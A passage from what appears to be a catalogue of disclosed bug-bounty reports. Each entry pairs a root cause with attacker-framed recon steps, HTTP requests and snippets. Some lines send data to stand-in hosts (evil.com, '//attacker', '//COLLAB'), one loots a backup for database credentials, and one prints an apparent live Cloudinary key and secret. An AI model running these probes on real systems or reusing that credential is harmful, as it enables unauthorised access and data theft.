GET /redirect.php?url=http://evil.com HTTP/1.1
Host: example.com
# Follow redirect -> Authorization: Basic dXNlcjpwYXNz sent to evil.com
Insight — HTTP clients that replay auth headers on redirect leak credentials cross-origin. As an attacker, an open redirect on an authed host + a log of incoming Authorization headers is enough. Generalizes to curl -L, scanners, and SSRF fetchers that carry credentials across redirects.
Real-world example
WordPress wp-content/debug.log full-path disclosure
◆ Low
Specimen #1767439 · nextcloud · none · 15 votes · resolved
Program nextcloudSurface web
Root cause
WP_DEBUG_LOG left enabled in production writes PHP errors to a world-readable file at a predictable path; plugin fatals dump full stack traces exposing absolute server paths and plugin/version internals.
Method
- Request /wp-content/debug.log on any WordPress host
- Read PHP fatal-error stack traces for absolute filesystem paths, plugin names, and versions
GET /wp-content/debug.log HTTP/1.1
Host: TARGET
Insight — Always probe the standard WordPress debug sink /wp-content/debug.log (and /wp-content/uploads/*.log) - it silently leaks internal paths and installed-plugin fingerprints that seed further attacks.
Real-world example
Node permission-model bypass via realpathSync.native
◆ Low
Specimen #3480841 · nodejs · none · 15 votes · resolved
Program nodejsSurface other
Root cause
fs.realpathSync.native() lacked the read-permission enforcement that every comparable fs function applies, so under --permission with restricted --allow-fs-read it still resolves paths - leaking file existence and symlink targets outside permitted dirs.
Method
- Run a Node process with --permission and a restricted --allow-fs-read set
- Call fs.realpathSync.native() on paths outside the allowed set
- Distinguish existing vs non-existing paths and resolve symlink targets from the result/error
node --permission --allow-fs-read=/tmp -e "try{console.log(require('fs').realpathSync.native('/etc/passwd'))}catch(e){console.log(e.code)}"
Insight — When auditing a sandbox/permission model, enumerate every sibling of a guarded primitive - one overlooked native/variant function (here realpathSync.native vs realpathSync) that skips the shared check breaks the whole boundary.
Real-world example
Same-IP co-hosted domain leaks reusable DB credentials
◆ Low
Specimen #439223 · uber · 750 · 14 votes · resolved
Program uberSurface webChain reverse-IP -> exposed backup zip -> wp-config creds -&
Root cause
Multiple sites share one host/IP; an out-of-scope neighbour exposed a downloadable site backup zip whose wp-config held the MySQL username/password, and the DB (port 3306) was reachable and accepted those creds for the in-scope microsite.
Method
- Resolve the target's IP and reverse-lookup other domains on that IP (e.g. Censys/reverse-IP)
- Browse neighbour sites for exposed backups (site.zip, backup.zip)
- Extract wp-config.php DB creds from the archive
- Connect to the shared MySQL:3306 with those creds
# reverse-IP neighbours, then grab a backup and pull creds
curl -s http://NEIGHBOR/outdarego.zip -o s.zip && unzip -p s.zip wp-config.php | grep -i DB_
mysql -h TARGET_IP -u <user> -p<pass>
Insight — Pivot through shared-hosting neighbours: reverse-IP the target, loot exposed backup archives on adjacent (even out-of-scope) domains for wp-config/env creds, then test them against exposed DB ports on the shared host.
Real-world example
Private resource existence oracle via response differential
◆ Low
Specimen #605608 · gitlab · awarded · 14 votes · resolved
Program gitlabSurface web
Root cause
A state-changing endpoint (toggle_star.json) returns the same 404 status for both existing-but-unauthorized and non-existent projects, but the Content-Type / body differ (application/json empty vs text/html 404 page), giving an oracle to confirm existence of private/internal projects.
Method
- Pick an endpoint that behaves on a specific object (star/watch/follow)
- Request it for a guessed private object and for a known-nonexistent one
- Diff Content-Type/Content-Length/body, not just status code, to distinguish exists vs not
POST /GROUP/PROJECT/toggle_star.json HTTP/1.1
Host: TARGET
X-CSRF-Token: ...
# exists: 404 Content-Type: application/json Content-Length: 0
# missing: 404 Content-Type: text/html (rendered 404 page)
Insight — When probing for hidden/private resources, compare full response fingerprints (Content-Type, length, cache headers, timing) rather than status codes - apps often normalize the status to 404 but leak existence through the response shape.
Real-world example
Exposed Go net/http/pprof debug interface
◆ Low
Specimen #1385906 · uber · awarded · 14 votes · resolved
Program uberSurface web
Root cause
The Go pprof profiling handler (net/http/pprof) was mounted on a publicly reachable endpoint, exposing stack traces, goroutine dumps, command-line arguments, and heap/memory profiles.
Method
- Probe common debug paths on the target (/debug/pprof/, /debug/pprof/cmdline, /debug/pprof/goroutine)
- If reachable, pull cmdline (flags/secrets), goroutine stacks, and heap profile
- Analyze for internal paths, args and memory-resident data
curl -s https://TARGET/debug/pprof/ # index
curl -s https://TARGET/debug/pprof/cmdline # process args (may contain secrets)
curl -s https://TARGET/debug/pprof/goroutine?debug=2
Insight — For Go services, always test /debug/pprof/* - it is trivially exposed when the profiling mux is registered on the main server and leaks cmdline args (often secrets/flags), stack traces and heap contents.
Real-world example
Publicly accessible WordPress debug.log path/plugin disclosure
◆ Low
Specimen #3318295 · deptofdefense · none · 14 votes · resolved
Program deptofdefenseSurface web
Root cause
WP_DEBUG_LOG writes debug.log inside the web root under wp-content/, and it is served without access restriction, leaking absolute server paths, plugin names/versions and PHP error context.
Method
- Request the WordPress debug log path (commonly /wp-content/debug.log or /wp-content/uploads/... on some setups)
- Read PHP warnings/deprecations to harvest absolute paths and plugin identity
GET /wp-content/debug.log
[18-Jun-2025 15:19:46 UTC] PHP Warning: Undefined array key "host" in /home/site/wwwroot/wp-content/plugins/wp-optimize/cache/class-wpo-cache-config.php on line 251
Insight — On any WordPress target probe for debug.log; the absolute path (e.g. /home/site/wwwroot indicates Azure App Service) and exact plugin file paths let you map installed plugins to known CVEs and seed LFI/path-based attacks.
Real-world example
Public CDN/S3 bucket listing exposes Keys and ETag fingerprints
◆ Low
Specimen #3346375 · deptofdefense · none · 14 votes · resolved
Program deptofdefenseSurface cloudTag cloud-aws
Root cause
A CDN endpoint fronts an object store with directory/bucket listing enabled, returning raw XML (ListBucketResult) including Key, LastModified, Size, StorageClass and ETag for all objects, even when the objects themselves are access-controlled.
Method
- Request the CDN/bucket root with no object key
- Parse the returned XML ListBucketResult for object metadata and ETag values
- Treat single-part S3 ETag as the object's MD5 for fingerprinting
curl -s https://<cdn-or-bucket>/
<ListBucketResult>
<Contents><Key>path/file</Key><ETag>"d41d8cd98f00b204e9800998ecf8427e"</ETag>...</Contents>
</ListBucketResult>
Insight — Always request the bare root of CDN/storage hosts. A listable bucket leaks the full inventory; single-part S3 ETags equal the MD5 of the object, letting you fingerprint/confirm known files and correlate content across leaks. Multipart ETags carry a -N suffix.
Real-world example
Username enumeration via distinct password-reset errors
◆ Low
Specimen #806151 · endless_group · none · 13 votes · resolved
Program endless_groupSurface web
Root cause
The password-reset confirmation endpoint returns a different error for an unknown username ('No User') vs a known username with no pending request ('No such username in the request list...'), giving a boolean oracle for account existence.
Method
- Submit a reset for a known username to learn the 'exists' error text
- Replay the confirm request substituting candidate usernames
- Classify: 'No User' = absent, 'No such username in the request list' = exists
- Automate over a username wordlist
POST /CMD_LOST_PASSWORD
body: action=code&username=<candidate>&code=test&json=yes
# exists -> {"error":"No such username in the request list. Your request may have expired."}
# absent -> {"error":"No User"}
Insight — Enumeration oracles hide in reset/confirm/2FA/verify flows, not just login. Diff error strings, JSON error codes, HTTP status, and response time for known vs unknown accounts. Uniform generic responses are the fix.
Real-world example
Exposed phpinfo() page leaks environment
◆ Low
Specimen #1822665 · us-department-of-state · none · 13 votes · resolved
Program us-department-of-stateSurface web
Root cause
A phpinfo() page is left reachable in production, disclosing exact PHP/OS versions, internal IP addresses, server environment variables (which can include secrets) and loaded extensions/config.
Method
- Probe common phpinfo paths
- Read version/OS/internal-IP/env-var data for further exploitation
GET /phpinfo.php
# also try: /info.php /test.php /i.php /php.php /pi.php /_profiler/phpinfo
Insight — Always fuzz for phpinfo pages; beyond version/CVE mapping, $_SERVER/$_ENV in the output can leak DB creds, API keys, absolute paths (LFI targets) and internal IPs (SSRF pivot). Cheap, high-signal recon.
Real-world example
Unauthenticated user enumeration via 2FA email-code endpoint
◆ Low
Specimen #1089116 · rocket_chat · none · 12 votes · resolved
Program rocket_chatSurface apiChain user enumeration -> targeted brute-force/phishingTag account-takeover
Root cause
The unauthenticated 2FA send-code API returns a different response for existing vs non-existing accounts (HTTP 200 {success:true} vs HTTP 400 error-invalid-user), leaking account existence.
Method
- POST an email/username to the 2FA send-code endpoint.
- Observe 200 success for real accounts, 400 'error-invalid-user' for non-existent ones.
- Enumerate a wordlist of emails/usernames off the differential (watch X-RateLimit-* headers).
POST /api/v1/users.2fa.sendEmailCode HTTP/1.1
Content-Type: application/json;charset=UTF-8
{"emailOrUsername":"target@test.test"}
# exists -> 200 {"success":true}
# absent -> 400 {"errorType":"error-invalid-user"}
Insight — Auxiliary auth endpoints (2FA code, password-reset, resend-verification) are the softest user-enumeration oracles because devs forget to make their responses uniform. Always diff status code, body, and timing across known-good vs random accounts.
Real-world example
User/email enumeration via search-engine-indexed ?email= pages
◆ Low
Specimen #261734 · bumble · 140 · 12 votes · resolved
Program bumbleSurface webTag account-takeover
Root cause
Signin URLs that carry the account email as a query parameter get crawled and indexed by search engines, so a Google dork surfaces valid user emails (and the app confirms they exist).
Method
- Dork the target for signin/reset URLs carrying an email param
- Harvest the leaked emails from indexed results
- Confirm each is a valid account via the app's existence response
site:target.com inurl:?email=
Insight — Never put emails/tokens in GET params on indexable pages. As a hunter, dork in:url ?email=/?user=/?token= for the target to find both PII leaks and enumeration oracles.
Real-world example
4-byte UTF-8 (emoji) input triggers DB charset error disclosure
◆ Low
Specimen #866271 · unikrn · $100 · 11 votes · resolved
Program unikrnSurface web
Root cause
An input field is stored into a column/connection using a 3-byte charset (utf8/latin1); submitting a 4-byte UTF-8 character (emoji) raises an unhandled DB error whose message discloses backend charset/encoding configuration and confirms unsanitized input reaches SQL.
Method
- During registration/input, place a 4-byte UTF-8 char (e.g. an emoji) in a text field.
- Observe the verbose DB error revealing charset/encoding config.
- Use the confirmed error path as a starting point for further injection/encoding tests.
email field value: user+💩@example.com # 4-byte UTF-8 emoji
Insight — An emoji (or any 4-byte UTF-8 char) is a fast probe for (a) verbose DB error disclosure and (b) charset truncation / unsanitized-input-to-SQL. Drop one into every free-text field early in recon.
Real-world example
Leaked Cloudinary API basic-auth creds still valid via /usage
◆ Low
Specimen #367581 · reverb · awarded · 11 votes · resolved
Program reverbSurface apiTag cloud
Root cause
Hardcoded Cloudinary API key:secret exposed in client/app were not rotated after a prior report; the credentials still authenticate against the Cloudinary REST API.
Method
- Recover the leaked Cloudinary basic-auth pair api_key:api_secret (mobile app, JS, or a prior disclosure)
- Authenticate to the account usage endpoint to confirm the creds are live and identify the cloud name
curl -u '434762629765715:PQlkrSHPqqjhIBc0MmUkdjcqpps' \
https://api.cloudinary.com/v1_1/reverb/usage
Insight — When you find leaked third-party API creds, always retest them against the vendor's account/status API (Cloudinary /usage, Stripe, Twilio, etc.) after a program claims a fix - rotation is often forgotten.
Real-world example
Private-object metadata leak via unprotected sibling endpoint
◆ Low
Specimen #411822 · chaturbate · awarded · 11 votes · resolved
Program chaturbateSurface webTag account-takeover
Root cause
The primary UI enforces the room password, but an auxiliary endpoint (/contest/log/{username}/) returns the live viewer count for the same room without any password/authorization check.
Method
- Identify the protected resource (password room) and its owning username
- Enumerate auxiliary/analytics endpoints referencing the same object
- Request /contest/log/{username}/ unauthenticated and read the leaked count
GET https://chaturbate.com/contest/log/TARGET_USERNAME/
Insight — Access control is usually enforced only on the main view. Map every sibling endpoint (logs, contest, stats, embed, oembed, api) that references the same object; secondary endpoints frequently skip the authorization check.
Real-world example
curl connect-only connection confusion via freed-address reuse (CVE-2020-8231)
◆ Low
Specimen #948876 · curl · awarded · 11 votes · resolved
Program curlSurface otherTag account-takeover
Root cause
A CURLOPT_CONNECT_ONLY easy handle keeps a raw pointer to its connectdata; if the connection ages out (MAXAGE_CONN) and is freed, a later connection allocated at the same address is silently used, so curl_easy_send() delivers data to the wrong server.
Method
- Set CONNECT_ONLY + MAXAGE_CONN on handle A to server 1
- Let A's connection age out and be freed
- Open handle B (server 2) so its connectdata lands at A's freed address (deterministic with a caching allocator)
- curl_easy_send(A, ...) now writes to server 2's socket
curl_easy_setopt(easy, CURLOPT_CONNECT_ONLY, 1);
curl_easy_setopt(easy, CURLOPT_MAXAGE_CONN, 1L);
// after the handle's connection times out and a new one reuses its memory,
// curl_easy_send(easy, &c, 1, &n) delivers to the wrong server
Insight — Dangling references to pooled objects (connections, sessions, buffers) become use-after-free/confusion bugs when the pool frees and re-allocates at the same address. A deterministic custom allocator turns a rare race into a reliable repro.
Real-world example
Sensitive page cached in browser -> API key recoverable via back button after logout
◆ Low
Specimen #231805 · thisdata · none · 10 votes · resolved
Program thisdataSurface web
Root cause
The page rendering the account API key is served without Cache-Control: no-store/no-cache, so after the user logs out the page (and the key) remains in the browser cache and is retrievable by pressing Back.
Method
- Open the API settings page (shows the API key)
- Log out
- Press the browser Back button; the cached page re-renders the API key
# Missing on sensitive responses:
Cache-Control: no-store, no-cache, must-revalidate
Insight — Pages that render secrets (API keys, tokens, PII) must send no-store. On shared/kiosk devices, test the logout->Back button flow and inspect Cache-Control on secret-bearing responses.
Real-world example
Cross-origin user linking via globally-broadcast languagechange event
◆ Low
Specimen #257942 · torproject · $100 · 10 votes · resolved
Program torprojectSurface webTag account-takeover
Root cause
The window 'languagechange' event fires simultaneously in every tab (all origins) when the user changes browser language; scripts on unrelated sites observe the same rare event at the same timestamp and correlate to one user.
Method
- Malicious scripts on two different origins register onlanguagechange listeners
- When the victim changes browser language, both fire within ~1ms
- Report timestamps to a server; matching rare timestamps links the visits to one user
window.addEventListener('languagechange', () => {
navigator.sendBeacon('//attacker/tag', Date.now());
});
Insight — Globally-broadcast browser events (languagechange, historically online/offline) are cross-origin side channels: a rare synchronized event acts as a de-anonymizing supercookie. Audit which events fire across origins/tabs.
Real-world example
WordPress author/username enumeration via REST API
◆ Low
Specimen #197786 · owncloud · none · 10 votes · resolved
Program owncloudSurface webTag account-takeover
Root cause
The default WordPress REST API exposes /wp-json/wp/v2/users to anonymous users, listing every account that has published, typically including admin (user id 1) with slug/login.
Method
- Request the WP users REST collection
- Iterate /wp/v2/users/<id> to map ids to login slugs
- Feed enumerated usernames into brute force / xmlrpc
https://TARGET/wp-json/wp/v2/users/
https://TARGET/wp-json/wp/v2/users/1/
Insight — Any WordPress site: hit /wp-json/wp/v2/users (and /?author=1 redirect) for a free username list feeding credential attacks. Fast win on WP-backed marketing/blog subdomains.
Real-world example
OS fingerprinting via default CSS line-height
◆ Low
Specimen #256647 · torproject · awarded · 10 votes · resolved
Program torprojectSurface webTag account-takeover
Root cause
The browser's default computed line-height for 'normal' differs by platform (19px Linux, 19.2px Tor/Windows, 19.5167px macOS); JS reads it to distinguish OS even when the User-Agent is spoofed uniform.
Method
- Render text with default (unspecified) line-height
- Read getComputedStyle(el).lineHeight
- Map the pixel value to platform (Linux/Windows/macOS)
const lh = getComputedStyle(document.querySelector('p')).lineHeight;
// 19px -> Linux, 19.2px -> Windows, 19.5167px -> macOS
Insight — Font/layout metrics (line-height, text width, canvas, scrollbar size) leak the real OS through rendering differences even under UA spoofing. getComputedStyle on default-styled elements is a low-effort OS oracle.
Real-world example
WordPress REST API user enumeration via /wp-json/wp/v2/users
◆ Low
Specimen #727870 · yoti · awarded · 10 votes · resolved
Program yotiSurface webChain username enumeration -> password spray -> admin takeovTag account-takeover
Root cause
The default WordPress REST endpoint /wp-json/wp/v2/users returns account objects (id, name, slug=login username) without authentication, enumerating admin/author usernames for password attacks.
Method
- Confirm the target runs WordPress (wp-json link header, /wp-login.php)
- GET /wp-json/wp/v2/users and read id/name/slug for each account
- Use ?per_page=100 / &page=N to page all users; the slug is the real login name -> feed to brute force / password spray
curl -s 'https://TARGET/wp-json/wp/v2/users?per_page=100' | jq '.[].slug'
# fallback legacy: /?rest_route=/wp/v2/users or /?author=1 (redirect leaks author slug)
Insight — On any WordPress marketing/blog subdomain, always hit wp-json/wp/v2/users and /?author=N. Usernames are half of the credential and enable targeted spraying against wp-login.php / XML-RPC.
Real-world example
Write-only upload endpoint leaks resource existence via differential responses
◆ Low
Specimen #187460 · nextcloud · none · 9 votes · resolved
Program nextcloudSurface web
Root cause
A public 'Files Drop' WebDAV endpoint meant to be upload-only returned different responses for existing vs non-existing paths (PUT to an existing file's subresource -> 409 Conflict; MKCOL/PUT behavior differs), letting an anonymous user probe which files/folders already exist in the drop target.
Method
- Against the public WebDAV drop URL, PUT to a subpath of a candidate filename (e.g. /webdav/existingfile.txt/foo)
- Compare responses: 409 Conflict implies the parent file exists; a different code implies it does not
- Iterate a filename wordlist to map the otherwise-hidden contents of the upload folder
PUT /public.php/webdav/CANDIDATE.txt/foo HTTP/1.1
Host: TARGET
Authorization: Basic <sharetoken>
Content-Length: 4
Test
# 409 Conflict => CANDIDATE.txt exists
Insight — 'Write-only' features still leak via response differentials. Test PUT/MKCOL/COPY/MOVE and their status codes/error bodies on upload-only WebDAV or blind-upload endpoints to enumerate existing resources.
Real-world example
Decoding F5 BIG-IP persistence cookies to internal backend IP/port
◆ Low
Specimen #1211094 · informatica · none · 9 votes · resolved
Program informaticaSurface web
Root cause
An F5 BIG-IP load balancer sets an unencrypted persistence cookie (BIGipServer<pool>) whose value encodes the backend server's private IP, port, and pool name; anyone who sees the cookie can decode the internal topology.
Method
- Look for Set-Cookie: BIGipServer<poolname>=<value> in responses (or recover a historical unencrypted cookie from Shodan host history if the live one is now encrypted)
- Decode: value encodes [encoded IP].[encoded port].0000 - reverse the little-endian IP and port
- Recover backend private IP:port and the user-named pool string
Set-Cookie: BIGipServercsm-pool=<enc-ip>.<enc-port>.0000
# decode e.g. via https://sra.io big-ip cookie decoder / Metasploit auxiliary/gather/f5_bigip_cookie_disclosure
Insight — Grep every response for BIGipServer* / NSC_* (NetScaler) cookies and decode them for internal IPs/ports/pool names - useful for SSRF target selection and infra mapping. Even if the live app now encrypts the cookie, Shodan/Wayback history often still carries the old plaintext value.
Real-world example
Signed/unsigned length confusion in ap_rwrite -> Apache heap read-beyond-bounds
◆ Low
Specimen #1595299 · ibb · awarded · 9 votes · resolved
Program ibbSurface otherChain heap info leak (and likely crash -> DoS)
Root cause
ap_rwrite() takes a signed int nbyte and passes it to buffer_output() whose len is apr_size_t; a negative nbyte (>=0x80000000 bytes reflected) sign-extends to 0xffffffff80000000, creating a giant transient bucket over an undersized buffer, so the base64 output filter reads past the buffer and leaks heap memory (CVE-2022-28614).
Method
- Target an Apache <=2.4.53 endpoint that reflects a very large request body via ap_rwrite/ap_rputs (e.g. mod_lua r:puts, r:requestbody)
- POST a body of ~0x80000000 bytes so nbyte becomes negative
- The response (esp. with a data: / base64 output filter) contains heap bytes beyond the intended buffer
-- reflect endpoint (mod_lua) --
function handle(r) local s=r:requestbody(); r:puts(s) end
-- trigger --
curl -k -X POST -T bigfile.bin http://TARGET/path.lua # bigfile.bin ~ 0x80000000 'a' bytes
Insight — Integer signedness bugs in length/size arguments (int -> size_t sign extension) turn a large reflection into a memory-disclosure primitive. When auditing C/native reflectors, look for signed length params flowing into unsigned buffer/bucket APIs; oversized inputs near 2GB are the trigger.
Real-world example
Auth headers not stripped on cross-origin redirect (undici Proxy-Authorization/x-auth-token)
◆ Low
Specimen #2408074 · nodejs · none · 9 votes · resolved
Program nodejsSurface apiChain open-redirect/SSRF -> cross-origin redirect -> credentTag account-takeover
Root cause
undici cleared Authorization and Cookie on cross-origin redirects but forgot Proxy-Authorization and x-auth-token, so following a redirect to a different origin leaked those credentials to the redirect target (CVE-2024-30260).
Method
- Server-side code uses undici.request with maxRedirections>0 and sensitive headers
- Attacker-controlled/first-hop endpoint issues a 30x redirect to a different origin
- undici replays Proxy-Authorization and x-auth-token to the new (cross-origin) host
undici.request({ method:'GET', maxRedirections:1, origin:'http://127.0.0.1/',
headers:{ 'Authorization':'secret', 'Cookie':'secret',
'Proxy-Authorization':'secret', 'x-auth-token':'secret' }});
// redirect target (a.com:2333) receives Proxy-Authorization + x-auth-token
Insight — When an HTTP client follows redirects, audit WHICH sensitive headers it strips on origin change - allowlists that only cover Authorization/Cookie miss Proxy-Authorization, x-auth-token, and custom API-key headers. Chain a redirect (open redirect / SSRF / attacker endpoint) to exfiltrate the surviving credential.
Real-world example
Exposed Go pprof / metrics debug endpoints
◆ Low
Specimen #1643962 · gitlab · awarded · 8 votes · resolved
Program gitlabSurface web
Root cause
A Go service (InfluxDB) exposed net/http/pprof and internal metrics/stats routes to the internet, leaking runtime memory, goroutine stacks, heap profiles and configuration/metrics data.
Method
- Probe common Go debug routes on the target host.
- Pull goroutine/heap/trace profiles and metrics without auth.
/debug/pprof
/debug/pprof/goroutine?debug=1
/debug/pprof/heap
/debug/pprof/trace
/metrics/
/stats.json
Insight — Whenever you see a Go-powered service (InfluxDB, Prometheus exporters, custom APIs), test the /debug/pprof/* family and /metrics. goroutine?debug=1 dumps stack traces (often revealing internal hosts, tokens in args), and heap dumps can contain secrets in memory. The reporter's 'arbitrary file read' framing was an overclaim - the real, confirmed impact is runtime/profiling data exposure.
Real-world example
Optionsbleed: Apache OPTIONS Allow header leaks server memory
◆ Low
Specimen #269568 · ibb · 100 · 8 votes · resolved
Program ibbSurface web
Root cause
Apache httpd corrupts the Allow header when a URL is governed by .htaccess Limit directives that reference invalid/duplicate methods, causing the OPTIONS response's Allow header to contain freed/leaked server memory (use-after-free, CVE-2017-9798).
Method
- Send OPTIONS requests to URLs on a shared/misconfigured Apache host
- Look for Allow headers containing garbage/leaked bytes instead of clean method lists
- Repeat to harvest memory (Heartbleed-style)
OPTIONS /path HTTP/1.1\nHost: TARGET\n\n # inspect the Allow: response header for leaked memory
Insight — A trivially remote, unauthenticated memory-disclosure test: mass-send OPTIONS across a target's URL space and diff Allow headers for non-method garbage. Shared hosting with per-user .htaccess is most affected.
Real-world example
Duplicate-report title leaked via reputation/activity log
◆ Low
Specimen #75556 · security · USD 500 · 7 votes · resolved
Program securitySurface web
Root cause
An aggregate/derived page (reputation log) rendered the title of a report you were marked duplicate of, even though the underlying report was never shared with or made public to you.
Method
- Submit a bug that gets marked Duplicate of an unshared report
- Wait until the parent report is resolved
- View /settings/reputation/log — the parent report's title is exposed
GET /settings/reputation/log
Insight — Access control is often enforced on the primary object but forgotten on derived/aggregate views (activity feeds, reputation logs, audit trails, notifications). Enumerate every place a resource's metadata is echoed and check the ACL there.
Real-world example
Sensitive preview token leaked to third parties via Referer header
◆ Low
Specimen #1015283 · shopify · USD 500 · 7 votes · resolved
Program shopifySurface webChain token-in-URL -> outbound click -> Referer leak -> pTag account-takeover
Root cause
A password-less store preview/authorization token was carried in the page URL; clicking an outbound link (e.g. a social-media link the owner added) sent that URL in the Referer header to attacker-controlled third-party sites.
Method
- Store owner adds/visits a page containing an outbound link the attacker controls (or a social link to an attacker-monitored domain)
- Owner clicks the link while on a URL that contains the preview token
- Attacker reads the token from their server's Referer logs and opens the preview URL to access owner actions without the password
# capture in access log:
Referer: https://STORE.myshopify.com/...?preview_token=SECRET
# fix that killed it:
<meta name="referrer" content="never">
Insight — Any secret placed in a URL (tokens, session ids, reset links, preview links) leaks to every third-party origin via Referer and browser history. Put an outbound link on a token-bearing page and read your own logs; remediation is Referrer-Policy / no-referrer, not just rotating the token.
Real-world example
Exported Android content provider leaks share password hashes and tokens
◆ Low
Specimen #242727 · nextcloud · awarded · 7 votes · resolved
Program nextcloudSurface mobile-android
Root cause
The app declared FileContentProvider with exported=true (authority content://org.nextcloud), so any app on the device could query it and read bcrypt hashes of password-protected shares, share tokens, and file/folder names.
Method
- Identify the app's exported providers in AndroidManifest.xml (exported=true, no read permission).
- Query the provider from any app or adb shell.
- Extract share tokens + bcrypt password hashes for offline cracking; other URIs leak filenames.
adb shell content query --uri content://org.nextcloud/shares
# also:
content query --uri content://org.nextcloud/file
content query --uri content://org.nextcloud/dir/[dir_id]
Insight — On any Android target, decompile the manifest and enumerate exported ContentProviders/Activities/Services with no signature/permission guard. Providers holding tokens, hashes, or PII are a zero-permission local disclosure. `content query --uri content://<authority>/<path>` needs only adb or a malicious co-installed app.
Real-world example
WEB-INF/web.xml and raw JSP source served by a static/CDN host
◆ Low
Specimen #173972 · ok · awarded · 7 votes · resolved
Program okSurface web
Root cause
A static/CDN host fronting a Java app served protected WEB-INF resources (web.xml) and raw .jsp files instead of executing/blocking them, disclosing app configuration and source.
Method
- On Java-app or CDN hosts, request /WEB-INF/web.xml (and //WEB-INF/web.xml with a double slash).
- Request .jsp files directly to see if source is returned instead of executed.
https://st.mycdn.me/WEB-INF/web.xml
https://st.mycdn.me//WEB-INF/web.xml
https://groupava1.mycdn.me/redirect.jsp
Insight — CDN/reverse-proxy hosts often serve files that the app server would protect. Probe WEB-INF/web.xml, META-INF, and raw .jsp/.php source on static subdomains; a leading double slash or path quirk can bypass the block that hides them on the origin.
Real-world example
Private-browsing feature writes a usage timestamp to a cleartext local state file
◆ Low
Specimen #1024668 · brave · 100 · 7 votes · resolved
Program braveSurface desktop
Root cause
Brave recorded the last time a private Tor window was used as a high-precision timestamp in the cleartext 'Local State' JSON, so a local/forensic attacker with file access could prove when Tor was used.
Method
- Locate the browser's Local State / preferences JSON on disk.
- Search for keys recording private/Tor session usage timestamps.
- The timestamp proves Tor was used at a precise moment, defeating the private-session confidentiality expectation.
# Brave 'Local State' JSON key holding e.g. "13248493693576042" (Tor last-used timestamp)
Insight — Privacy/incognito features frequently leave on-disk artifacts (Local State, prefs, leveldb, logs). For desktop/mobile privacy assessments, diff the on-disk state before/after using the private feature to find timestamps, hostnames, or counters that undermine the confidentiality guarantee.
Real-world example
Exposed Go net/http/pprof profiling endpoints
◆ Low
Specimen #783807 · clario · awarded · 7 votes · resolved
Program clarioSurface api
Root cause
Importing net/http/pprof registers /debug/pprof/* handlers on the default mux; if the service is public these leak heap/goroutine dumps, cmdline, and CPU/execution traces that can contain secrets and internal state.
Method
- Request /debug/pprof/ on a suspected Go service (Server header, behavior)
- Enumerate sub-handlers: cmdline, heap, goroutine, allocs, profile, trace, threadcreate
- Pull /debug/pprof/heap and cmdline for in-memory secrets, args, and internal paths
GET /debug/pprof/
GET /debug/pprof/cmdline
GET /debug/pprof/heap?gc=1
go tool pprof https://TARGET/debug/pprof/heap
Insight — On any Go/Golang target, always probe /debug/pprof/ (and framework equivalents like Spring Boot actuator /heapdump). Heap and cmdline dumps frequently spill tokens, DB strings, and internal hostnames.
Real-world example
CI/CD secret hardcoded in public GitHub Actions workflow
◆ Low
Specimen #1927499 · weblate · none · 7 votes · resolved
Program weblateSurface webTag supply-chain
Root cause
A third-party analysis token (DeepSource DSN) is committed directly into a public repo's .github/workflows/*.yml instead of being referenced from an Actions secret, exposing a usable credential to anyone reading the repo.
Method
- Browse the target's public repos and read .github/workflows/*.yml (and CI configs like .gitlab-ci.yml, .circleci/config.yml)
- Grep for inline tokens/DSNs/keys not sourced from ${{ secrets.* }} or env
- Validate scope of the leaked token against the third-party service's CLI/API
# .github/workflows/test.yml
env:
DEEPSOURCE_DSN: https://<token>@deepsource.io # should be ${{ secrets.DEEPSOURCE_DSN }}
# hunt:
grep -RniE 'dsn|token|api[_-]?key|secret' .github/workflows/
Insight — Public CI config is a high-yield secret sink. Grep every workflow/pipeline file for inline credentials (SaaS DSNs, deploy keys, coverage/analysis tokens) that should have been ${{ secrets.* }} references; also check git history for removed-but-committed values.
Real-world example
Account/email enumeration via contact-import invite feature
◆ Low
Specimen #90308 · coinbase · 100 · 7 votes · resolved
Program coinbaseSurface web
Root cause
The 'invite your contacts' feature discloses which imported email addresses already have accounts; by importing large generated/candidate email lists an attacker enumerates registered users (a privacy leak, sensitive for a Bitcoin platform).
Method
- Generate or collect a candidate email list
- Import the list into the invite/find-friends flow
- Read which contacts are flagged as existing members to build a confirmed-user list
# 1) generate candidate emails, import to Google Contacts
# 2) coinbase.com/invite_friends -> import contacts
# 3) feature marks addresses that already have accounts -> membership oracle
Insight — Contact-import / find-friends / 'invite' features are membership oracles: they confirm which emails or phone numbers are registered. Fix pattern is to send invites uniformly without revealing member status. When hunting, batch-import candidate identifiers and diff the 'already a member' signal.
Real-world example
Private program existence via HTTP status oracle
◆ Low
Specimen #116032 · security · awarded · 6 votes · resolved
Program securitySurface web
Root cause
The /:handle/reports/draft.json endpoint returned distinguishable status codes per handle type (200 empty for an external+private program vs 401/404 otherwise), forming an oracle to confirm the existence of invite-only/private programs.
Method
- Request /{handle}/reports/draft.json for a candidate handle
- Compare status: 200-empty reveals an external+private program; 401 = private-no-EP; 404 = user/external
- Enumerate handles to discover hidden private programs
GET https://hackerone.com/{HANDLE}/reports/draft.json # 200 empty = private program exists
Insight — Authorization decisions leak through differential status codes/response bodies. When probing for hidden objects, build a truth table of responses across known object types to find the distinguishing signal.
Real-world example
OS username leak via HTML directory picker (webkitdirectory)
◆ Low
Specimen #258585 · brave · $100 · 6 votes · resolved
Program braveSurface desktopTag file-upload
Root cause
An <input type=file webkitdirectory> control exposes the selected folder's full local path (webkitRelativePath / file.path in Electron) which begins with the OS username; the value is not sanitized before the app can read it.
Method
- Render a page with a directory-picker input in the target Electron/Chromium app
- Auto-trigger or socially engineer a single folder selection (default folder e.g. Downloads)
- Read the returned path which contains 'Username/Downloads' -> extract OS username
<input type="file" webkitdirectory id="d">
<script>d.onchange=e=>fetch('//COLLAB/?p='+encodeURIComponent(e.target.files[0].path||e.target.files[0].webkitRelativePath))</script>
Insight — In Electron/desktop web apps, file and directory picker inputs leak absolute local paths; the leading path segment reveals the OS username. Test any upload/import control that accepts folders.
Real-world example
Verbose DB error leaks query + bcrypt hash on constraint violation
◆ Low
Specimen #225098 · nextcloud · none · 6 votes · resolved
Program nextcloudSurface web
Root cause
When a length check is skipped and a DB integrity-constraint violation is raised, the app returns the raw exception message containing the full parameterized INSERT statement together with the bound parameters - including the newly-created user's bcrypt password hash.
Method
- Perform an action that inserts a row (e.g. create user) with an over-length value (here username >64 chars) to bypass the app-level duplicate check
- Repeat to force a duplicate-key / integrity-constraint violation at the DB layer
- Read the JSON error echoing the SQL and its bound params (uid + bcrypt hash)
POST /index.php/settings/users/users
